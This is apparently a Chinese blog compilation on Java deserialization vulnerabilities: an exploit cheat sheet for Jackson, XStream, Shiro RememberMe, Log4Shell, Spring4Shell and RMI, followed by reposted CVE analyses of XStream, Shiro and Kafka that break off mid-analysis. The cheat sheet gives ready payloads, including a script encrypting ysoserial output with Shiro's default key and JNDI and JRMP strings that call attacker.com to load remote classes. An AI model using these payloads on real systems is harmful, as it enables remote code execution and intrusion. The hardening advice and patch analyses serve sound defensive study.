String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
mapper.readValue(json, Object.class); // 触发漏洞
}
}

攻击示例:

  1. 使用与Fastjson相同的Exploit.java和base64编码。
  2. 将JSON Payload发送到服务端接口。
  3. 服务端反序列化Payload,执行恶意代码。

3.4 XStream(版本<1.4.15)

漏洞描述:XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。

利用Payload(XML):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<size>2</size>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<name>Exploit</name>
<bytecodes>
<bytearray>BASE64编码的恶意类</bytearray>
</bytecodes>
<tfactory/>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<string>test</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
import com.thoughtworks.xstream.XStream;

public class VulnerableXStream {
public static void main(String[] args) {
XStream xstream = new XStream();
String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
xstream.fromXML(xml); // 触发漏洞
}
}

攻击示例:

  1. 生成base64编码的恶意类(参考Fastjson部分)。
  2. 将base64字符串嵌入XML Payload。
  3. 将XML发送到服务端,触发代码执行。

3.5 Apache Shiro RememberMe

漏洞描述:Apache Shiro的rememberMe功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==),攻击者可构造恶意Payload。

利用步骤:

  1. 使用ysoserial生成Payload:
1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin
  1. 使用已知AES密钥加密Payload:
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
import base64

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, key)
with open("payload.bin", "rb") as f:
data = f.read()
pad = 16 - len(data) % 16
data += bytes([pad] * pad)
payload = cipher.encrypt(data)
encoded = base64.b64encode(payload).decode()
print(encoded)
  1. 构造请求:
1
2
3
GET / HTTP/1.1
Host: target.com
Cookie: rememberMe=BASE64编码的Payload

攻击示例:

  1. 使用ysoserial生成CommonsCollections Payload。
  2. 使用默认或爆破的AES密钥加密。
  3. 设置rememberMeCookie并发送请求,触发反序列化。

3.6 Log4j2 JNDI注入(CVE-2021-44228,Log4Shell)

突然想到这个,也写一下~

漏洞描述:Log4j2(版本<2.16.0)在解析日志消息时会处理${jndi:}表达式,允许攻击者通过JNDI触发远程类加载。

image

利用Payload:

1
${jndi:ldap://attacker.com/Exploit}

攻击准备:

  1. 使用marshalsec启动LDAP服务:
1
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/Exploit"
  1. 在http://attacker.com/Exploit托管恶意类(Exploit.class)。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableLog4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String userInput = "${jndi:ldap://attacker.com/Exploit}";
logger.info(userInput); // 触发JNDI查询
}
}

攻击示例:

  1. 将Payload注入可记录的字段(例如HTTPUser-Agent头):
1
2
3
GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
  1. 服务端记录日志时触发JNDI查询,执行远程类。

4. 其他漏洞与利用

4.1 Spring Framework(Spring4Shell,CVE-2022-22965)

漏洞描述:在特定配置下,Spring的数据绑定允许攻击者操纵序列化对象,导致RCE。

利用Payload:

1
2
3
4
5
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=malicious

防护措施:升级到Spring Framework ≥ 5.3.18,或应用严格的绑定规则。

4.2 Java RMI反序列化

漏洞描述:Java的远程方法调用(RMI)可能反序列化不可信数据,特别是在旧JDK版本(<8u121)中。

利用示例:

  1. 使用ysoserial生成RMI Payload:
1
java -jar ysoserial.jar JRMPClient "attacker.com:1099/Exploit" > payload.ser
  1. 将Payload发送到RMI服务端,触发远程类加载。

防护措施:限制RMI仅限可信主机,应用JDK安全补丁(例如8u121+)。

5. 检测与测试工具

以下工具可用于检测和测试反序列化漏洞:

  • Ysoserial:生成多种Gadget链Payload。GitHub
  • Ysomap:统一的反序列化利用工具。GitHub
  • Shiro_attack:测试Shiro RememberMe漏洞。GitHub
  • Log4jscan:扫描Log4Shell漏洞。GitHub
  • Fastjson-blacklist-checker:检测Fastjson漏洞。GitHub

6. 防护与加固

通用实践

  1. 避免反序列化不可信数据:禁止处理来自不可信源的数据。
  2. 使用类白名单:限制反序列化仅允许指定的类。
  3. 升级依赖:使用最新版本的库和框架。
  4. 应用安全补丁:定期更新JDK和依赖项。

具体防护措施

库/组件 防护措施
Commons Collections 升级到3.2.2+或4.1+;使用ObjectInputFilter限制类。
Fastjson 禁用autotype;使用ParserConfig.getGlobalInstance().addAccept()设置白名单。
Jackson 禁用enableDefaultTyping();为ObjectMapper配置类白名单。
XStream 使用xstream.allowTypes()限制可反序列化的类。
Apache Shiro 更换默认AES密钥;禁用rememberMe或使用签名机制。
Log4j2 升级到≥2.16.0;设置log4j2.formatMsgNoLookups=true;禁用JNDI。
Spring Framework 升级到≥5.3.18;限制数据绑定参数。
Java RMI 限制RMI仅限可信主机;应用JDK补丁(例如8u121+)。

示例:使用ObjectInputFilter实现安全反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;

public class SafeDeserialization {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
ois.setObjectInputFilter(filter -> {
Class<?> clazz = filter.getType();
if (clazz != null && MySafeClass.class.equals(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
ois.close();
}
}

7. 总结

Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。Apache Commons Collections、Fastjson、Jackson、XStream、Apache Shiro及Log4j2等库和框架是常见的攻击目标。通过理解Gadget链、使用ysoserial等工具生成Payload,以及采取严格的防护措施,开发者和安全人员可以有效应对这些威胁。

核心要点:

  • 在反序列化前验证和过滤所有输入数据。
  • 使用类白名单,避免使用危险方法如readObject()。
  • 保持依赖项和JDK的更新。
  • 使用ysoserial和Ysomap等工具测试应用漏洞。

通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。

【组件攻击链】XStream组件高危漏洞分析与利用

【组件攻击链】XStream组件高危漏洞分析与利用

本文转自 深信服千里目安全技术中心 并作补充

组件介绍

XStream是Java类库,用来将对象序列化成XML(JSON)或反序列化为对象。XStream在运行时使用Java反射机制对要进行序列化的对象树的结构进行探索,并不需要对对象作出修改。XStream可以序列化内部字段,包括私private和final字段,并且支持非公开类以及内部类。在缺省情况下,XStream不需要配置映射关系,对象和字段将映射为同名XML元素。但是当对象和字段名与XML中的元素名不同时,XStream支持指定别名。XStream支持以方法调用的方式,或是Java标注的方式指定别名。XStream在进行数据类型转换时,使用系统缺省的类型转换器。同时,也支持用户自定义的类型转换器。XStream类图:

image

高危漏洞介绍

image

XStream组件漏洞主要是java反序列化造成的远程代码执行漏洞,目前官方通过黑名单的方式对java反序列化攻击进行防御,由于黑名单防御机制存在被绕过的风险,因此以后可能会再次出现类似上述java反序列化漏洞。

漏洞利用链

1 组件风险梳理

根据XStream组件的漏洞,结合XStream常用的使用场景,得到如下风险梳理的场景图。

image

2 利用链总结

基于风险梳理思维导图,总结出一种漏洞的利用场景。

无权限 -> GetShell

image

高可利用漏洞分析

从高危漏洞列表中,针对部分近年高可利用漏洞进行漏洞深入分析。

技术背景

java动态代理

Java标准库提供了一种 动态代理(Dynamic Proxy)的机制:可以在运行期动态创建某个interface的实例。

例子:我们先定义了接口Hello,但是我们并不去编写实现类,而是直接通过JDK提供的一个Proxy.newProxyInstance()创建了一个Hello接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式,我们称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package test3_proxyclass;



import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Method;

import java.lang.reflect.Proxy;



public class Main {

public static void main(String[] args) {

InvocationHandler handler = new InvocationHandler() {

@Override

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

System.out.println(method);

if (method.getName().equals("morning")) {

System.out.println("Good morning, " + args[0]);

}

return null;

}

};

Hello hello = (Hello) Proxy.newProxyInstance(

Hello.class.getClassLoader(), // 传入ClassLoader

new Class[] { Hello.class }, // 传入要实现的接口

handler); // 传入处理调用方法的InvocationHandler

hello.morning("Bob");

}

}



interface Hello {

void morning(String name);

}

java动态代理机制中有两个重要的类和接口InvocationHandler(接口)和Proxy(类),这一个类Proxy和接口InvocationHandler是我们实现动态代理的核心;

**InvocationHandler接口:**proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke方法。

**newProxyInstance:**创建一个代理类对象,它接收三个参数,我们来看下几个参数的含义:

1
2
3
4
5
loader:一个classloader对象,定义了由哪个classloader对象对生成的代理类进行加载

interfaces:一个interface对象数组,表示我们将要给我们的代理对象提供一组什么样的接口,如果我们提供了这样一个接口对象数组,那么也就是声明了代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。

h:一个InvocationHandler对象,表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上,并最终由其调用。

getInvocationHandler: 返回指定代理实例的调用处理程序

getProxyClass: 给定类加载器和接口数组的代理类的java.lang.Class对象。

isProxyClass: 当且仅当使用getProxyClass方法或newProxyInstance方法将指定的类动态生成为代理类时,才返回true。

newProxyInstance: 返回指定接口的代理类的实例,该接口将方法调用分派给指定的调用处理程序。

1 XStream 远程代码执行漏洞

1.1 漏洞信息

1.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2013-7285

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.5 , CVSS v3.0:9.8

● 漏洞危害等级:高危

1.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

1.1.3 漏洞利用条件

无

1.1.4 漏洞影响

影响版本:XStream <= 1.4.6

1.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

1.2 漏洞复现

1.2.1 环境拓扑

image

1.2.2 应用协议

8080/HTTP

1.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

1.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

1.3 漏洞分析

1.3.1 代码分析

传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

找到sorted-set别名对应的java.util.SortedSet类,并将类存入realClassCache对象中。

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用defaultImplementationOf方法,在mapper对象中寻找java.util.SortedSet接口类的实现类java.util.TreeSet。

image

获取java.util.TreeSet类型,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器TreeSetConverter父类CollectionConverter中canConvert方法判断,传入的type与java.util.TreeMap相同,返回true,表示可以使用TreeSetConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

进入convert方法中,调用转换器中的unmarshal方法,对传入的xml数据继续解组。

image

首先调用unmarshalComparator方法判断是否存在comparator,如果不存在,则返回NullComparator对象。

image

根据unmarshalledComparator对象状态,为possibleResult对象赋予TreeSet类型对象。

image

由于possibleResult是一个空的TreeMap,因此最终treeMap也是一个空对象,从而调用treeMapConverter.populateTreeMap方法。

image

进入populateTreeMap方法中,首先调用调用putCurrentEntryIntoMap方法解析第一个标签,再调用populateMap方法处理之后的标签(此流程中二级标签只存在一个,因此在处理二级标签时暂不进入populateMap方法)。

image

具体调用流程如下,com.thoughtworks.xstream.converters.collections.TreeSetConverter类中调用putCurrentEntryIntoMap方法 -> com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem() 中的 readClassType()方法获取传入xml数据中标签名(别名)对应的类(与本节中获取sorted-set对应类的流程相同)。本次获取的是dynamic-proxy对应的java.lang.reflect.Proxy.DynamicProxyMapper类型,并将别名与类型作为键值对,存入realClassCache中。

image

image

回到AbstractCollectionConverter.readItem()方法中,调用convertAnother方法,寻找DynamicProxyMapper对应的convert,获取到DynamicProxyConverter转换器。

image

得到com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,按照之前获取转换器之后的流程,调用转换器中的unmarshal()方法获取interface元素,得到java.lang.Comparable,并添加到mapper中。

image

在通过循环查询,继续查找下面的节点元素,进而获得了handler java.beans.EventHandler。

image

调用Proxy.newProxyInstance方法创建动态代理,实现java.lang.Comparable接口。

image

调用convertAnother方法获取传入type的转换器,java.beans.EventHandler对应的convert是ReflectionConverter。并将父类及其对象写进HashMap中

image

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素target java.lang.ProcessBuilder。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取target标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,由于是java.beans.EventHandler作为动态代理的实现类,所以选择的转化器都是ReflectionConverter 。使用选中的转换器进行解组。

image

使用ReflectionConverter convert处理java.lang.ProcessBuilder ,在duUnmarshal()方法获取command标签和comand标签下的String标签及其参数。(其中String标签下的参数是在下一层convert调用中获取的。)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

image

在按照获取target标签相同的流程获取action标签,最终将start方法存入对象中。

image

回到TreeMapConverter#populateTreeMap方法中,上述过程中构造的object保存在sortedMap中。且其中的动态代理实现的接口是java.lang.Comparable,因此只要调用java.lang.Comparable接口中的compareTo方法,即可触发动态代理,进入java.beans.EventHandler实现类中的invoke方法。在populateTreeMap方法中调用putAll方法,将sortedMap中的对象写入result变量的过程中会调用到compareTo,调用链如下。

image

进入java.beans.EventHandler#invoke方法中,通过反射执行对象中的方法。

image

1.3.2 补丁分析

XStream1.4.7版本中,在com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类。从而防御了此漏洞。

image

2 XStream 远程代码执行漏洞

2.1 漏洞信息

2.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2019-10173

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.3 , CVSS v3.0:9.8

● 漏洞危害等级:高危

2.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

2.1.3 漏洞利用条件

无

2.1.4 影响版本

影响版本:XStream = 1.4.10

2.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

2.2 漏洞复现

2.2.1 拓扑图

image

2.2.2 应用协议

8080/HTTP

2.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

2.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

2.3 漏洞分析

2.3.1 代码分析

CVE-2019-10173漏洞与CVE-2013-7285漏洞原理相同,由于在XStream的安全模式默认不启动,导致防御失效。

Xstream 1.4.7对于漏洞的防御措施:

通过在

com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类

image

Xstream 1.4.10漏洞产生原因:

在com.thoughtworks.xstream.converters.reflection.ReflectionConverter类中,canConvert方法中的type != eventHandlerType被删除了,使得原来的漏洞利用方式可以再次被利用。

由于在Xstream1.4.10中的com.thoughtworks.xstream.XStream类增加了setupDefaultSecurity()方法和InternalBlackList转换器,通过黑名单的形式对漏洞进行防御。但是安全模式默认不开启,必须在初始化后才可以使用,eg:XStream.setupDefaultSecurity(xStream)。导致防御失效,造成漏洞的第二次出现。

image

image

2.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

2.3.3 漏洞防御

在Xstream1.4.11中的com.thoughtworks.xstream.XStream类中InternalBlackList类会对java.beans.EventHandler进行过滤,java.beans.EventHandler执行marshal或者unmarshal方法时,会抛出异常终止程序。

image

3 XStream 远程代码执行漏洞

3.1 漏洞信息

3.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2020-26217

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:无, CVSS v3.0:8.0

● 漏洞危害等级:高危

3.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

3.1.3 漏洞利用条件

无

3.1.4 漏洞影响

影响版本:XStream = 1.4.13

3.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

3.2 漏洞复现

3.2.1 环境拓扑

image

3.2.2 应用协议

8080/HTTP

3.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

3.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

3.3 漏洞分析

3.3.1 代码分析

代码分析:传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

在DefaultMapper中,通过反射,获取到string标签传入的class,并将类存入realClassCache对象中。

image

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器ReflectionConverter中canConvert方法判断,传入的type非null,返回true,表示可以使用ReflectionConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素iter java.util.ArrayList$Itr。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取iter标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,使用选中的ReflectionConverter转换器进行解组。

image

使用ReflectionConverter convert处理java.util.ArrayList$Itr ,在duUnmarshal()方法获取cursor标签和cursor标签下的参数。(调用unmarshallField方法,与上述流程相似)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

回到AbstractReflectionConverter#doUnmarshal方法中获取后续的标签及其参数(分别为lastRet,expectedModCount,outer-class)。

image

按照同样的反序列化流程获取属性值,并写入对象。

image

解析outer-class标签,由于type是java.util.ArrayList,选择转换器是CollectionConverter。

image

调用CollectionConverter#unmarshal方法进行反序列化。

image

调用CollectionConverter#populateCollection -> CollectionConverter#addCurrentElementToCollection->AbstractCollectionConverter#readItem方法。最终调用realClass方法获取type类,获取过程中将outer-class标签下的子标签存入realClassCache中。

image

回到AbstractCollectionConverter#readBareItem方法调用convertAnother方法,按照之前的流程进行反序列化,为属性赋值,并写入对象。

image

最终返回ProcessBuilder对象,写入FilterIterator对象中。

image

在按照获取java.util.ArrayList$Itr对象相同的流程获取javax.imageio.ImageIO$ContainsFilter对象,通过反序列化为其内部的method属性和name属性进行赋值。

在选择转换器的过程中,由于method属性的类型是java.lang.reflect.Method,因此选择对应的转换器为JavaMethodConverter。

image

调用JavaMethodConverter#unmarshal方法进行xml数据解析,获取java.lang.processBuilder类中的start方法对象,写入到javax.imageio.ImageIO$ContainsFilter对象中。

image

再按照相同的流程,将start方法名写入name属性中。

image

将FilterIterator对象返回给最初的iterator对象中。

image

调用iterator.next()方法时,会调用其实现类FilterIterator中的next方法。

image

进入调用advance方法,调用filter方法时,会通过反射执行ProcessBuilder对象中的start方法,从而造成代码执行。

image

image

3.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

3.3.3 漏洞防御

XStream1.4.14版本中,在com.thoughtworks.xstream.XStream的黑名单添加java.lang.ProcessBuilder和javax.imageio.ImageIO$ContainsFilter。从而防御了此漏洞。

image

参考链接

  1. https://blog.csdn.net/yaomingyang/article/details/80981004
  2. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_6...XSTREAM_1_4_7
  3. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_10...XSTREAM_1_4_11
  4. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_13...XSTREAM_1_4_14

Apache Shiro身份验证绕过漏洞(CVE-2022-40664)

Apache Shiro身份验证绕过漏洞(CVE-2022-40664)

本文转自 安博通 并作补充

漏洞信息

CVE编号:CVE-2022-40664

CNVD编号:CNVD-2022-68497

Apache Shiro是一款功能强大且易于使用的Java安全框架,主要包含身份验证、授权、加密和会话管理等功能,可用于保护任何应用程序。

  • 身份验证:用户登录
  • 授权:访问控制
  • 加密:保护或隐藏数据不被窥探
  • 会话管理:管理每个用户的状态

Apache Shiro身份验证绕过漏洞,是通过RequestDispatcher转发或包含时Shiro中的身份验证绕过而产生的漏洞。在Apache Shiro 1.10.0之前,攻击者可构造恶意代码利用该漏洞绕过shiro的身份验证,从而获取用户的身份权限。

影响范围

Apache Shiro < 1.10.0

修复建议

直接升级,升级补丁链接如下:

https://shiro.apache.org/download.html

安全防护

该漏洞是代码中函数逻辑问题导致的。当代码中存在一些特殊的调用和逻辑时,就可能触发该漏洞,因此远程请求是合法请求,没有恶意特征,安全厂商暂无法提取规则。

漏洞研究

漏洞复现

问题复现demo代码。

image

两个URL分别为/permit/{value}和/filterOncePerRequest/{value} 。

请求/permit/{value}时,被要求鉴权并拒绝。

image

请求/filterOncePerRequest/{value}时,成功绕过鉴权。

image

代码研究

Shiro 1.9(漏洞版本)和1.10(修复后版本),修改点在org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter处,修改前1.9版本如下:

image

修改后1.10版本如下:

image

显然在判断request.getAttribute(alreadyFilteredAttributeName) 不为空的同时,添加了必须保证filterOncePerRequest也为True的条件。

从上面代码可以看出,在该请求处理过第一次之后,为请求添加了属性shiroFilter.FILTERED=true,在第二次forward请求进来时,会进到第一个if,跳过本Filter的执行。这种处理方式可能就是漏洞产生的原因。

在改动处打断点并debug,发送如下请求:

1
2
3
4
5
6
7
8
GET /filterOncePerRequest/any HTTP/1.1
Host: 172.31.1.101:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

经过判断,被判定为Filter ‘{}’ not yet executed. Executing now,表明该请求并没有进入过滤器。

image

如代码所示,发送GET /filterOncePerRequest/any请求后,会使用内部forward命令,再次发起GET /permit/any请求。

image

这时发现对于forward请求拦截器根本不会拦截,由此可见漏洞原因确实如前文所述:在该请求处理第一次后,为请求添加了属性shiroFilter.FILTERED=true,在第二次forward请求进来时,会进到第一个if,跳过本Filter的执行,直接绕过了filter拦截器。

原因分析

因为代码逻辑存在漏洞,1.10.0之前的版本在请求forward时不进行拦截鉴权,导致在代码里存在对请求进行forward处理时,对应请求会绕过鉴权的问题。

CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

本文转自 hahaha123 并作补充

一、漏洞成因

该漏洞源于Apache Kafka Client在配置SASL/OAUTHBEARER连接时,对sasl.oauthbearer.token.endpoint.url和sasl.oauthbearer.jwks.endpoint.url参数的安全控制存在缺陷。攻击者可通过构造恶意URL参数,利用该缺陷实现任意文件读取或发起SSRF请求(访问非预期目标地址)。

二、影响版本

3.1.0 <= Apache Kafka <= 3.9.0

三、漏洞复现

image

image

四、漏洞分析

根据漏洞触发点所对应的路由 connectors,可定位至以下相关代码:

image

147-152行代码对传入的信息处理,以及创建示例等,漏洞入口是:

1
herder.putConnectorConfig(name, configs, createRequest.initialTargetState(), false, cb);

继续跟进putConnectorConfig方法,
这里会跟到两个类:StandaloneHerder 和 DistributedHerder,之前说的修复点也确实是这里,基本可以确定这是入口点,我们看DistributedHerder吧

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public void putConnectorConfig(final String connName, final Map config, final TargetState targetState,
final boolean allowReplace, final Callback&gt; callback) {
log.trace("Submitting connector config write request {}", connName);
addRequest(
() -&gt; {
doPutConnectorConfig(connName, config, targetState, allowReplace, callback);
return null;
},
forwardErrorAndTickThreadStages(callback)
);
}

继续跟进doPutConnectorConfig方法,这里的config,就是先前connector路由传的json数据

image

然后跟进validateConnectorConfig方法

image

image

进入validateConnectorConfig方法,到现在,逻辑检验都是普通的,所以就不多赘述了,继续跟进

image

调用了:

1
2
3
protected Connector getConnector(String connType) {
return tempConnectors.computeIfAbsent(connType, k -&gt; plugins().newConnector(k));
}

利用 plugins().newConnector() 动态加载类,例如:MirrorSourceConnector

image

这里可以看到根据json数据的config[‘‘]=*.MirrorSourceConnector调用MirrorSourceConnector这个Connector用于后续的执行

后续跟进的话可以看到通过反射调用Connector:

1
Class&lt;?&gt; klass = loader.loadClass(classOrAlias, false);

回到AbstractHerder类,继续分析接下来的逻辑

image

接下来就是确定connectorType为sink or source,然后对数据进行处理等,可以自己看

image

在java config = connector.validate(connectorProps);
跟进:

1
2
3
4
5
6
7
8
@Override
public org.apache.kafka.common.config.Config validate(Map props) {
List configValues = super.validate(props).configValues();
validateExactlyOnceConfigs(props, configValues);
validateEmitOffsetSyncConfigs(props, configValues);

return new org.apache.kafka.common.config.Config(configValues);
}

接下来进入到validate验证阶段,这里就很绕了,我们知道是MirrorSourceConnector这个Connector创建了Tasks,所以他肯定要进到这个方法

image

可以看到过了validate初始验证,进入到start方法,继续跟进,由于漏洞触发点是认证相关,我们断点在认证的各个方法,一个一个看

image

这里进入到认证阶段forwardingAdmin

image

实例化ForwardingAdmin实现类

image

通过json数据中的值:

1
2
3
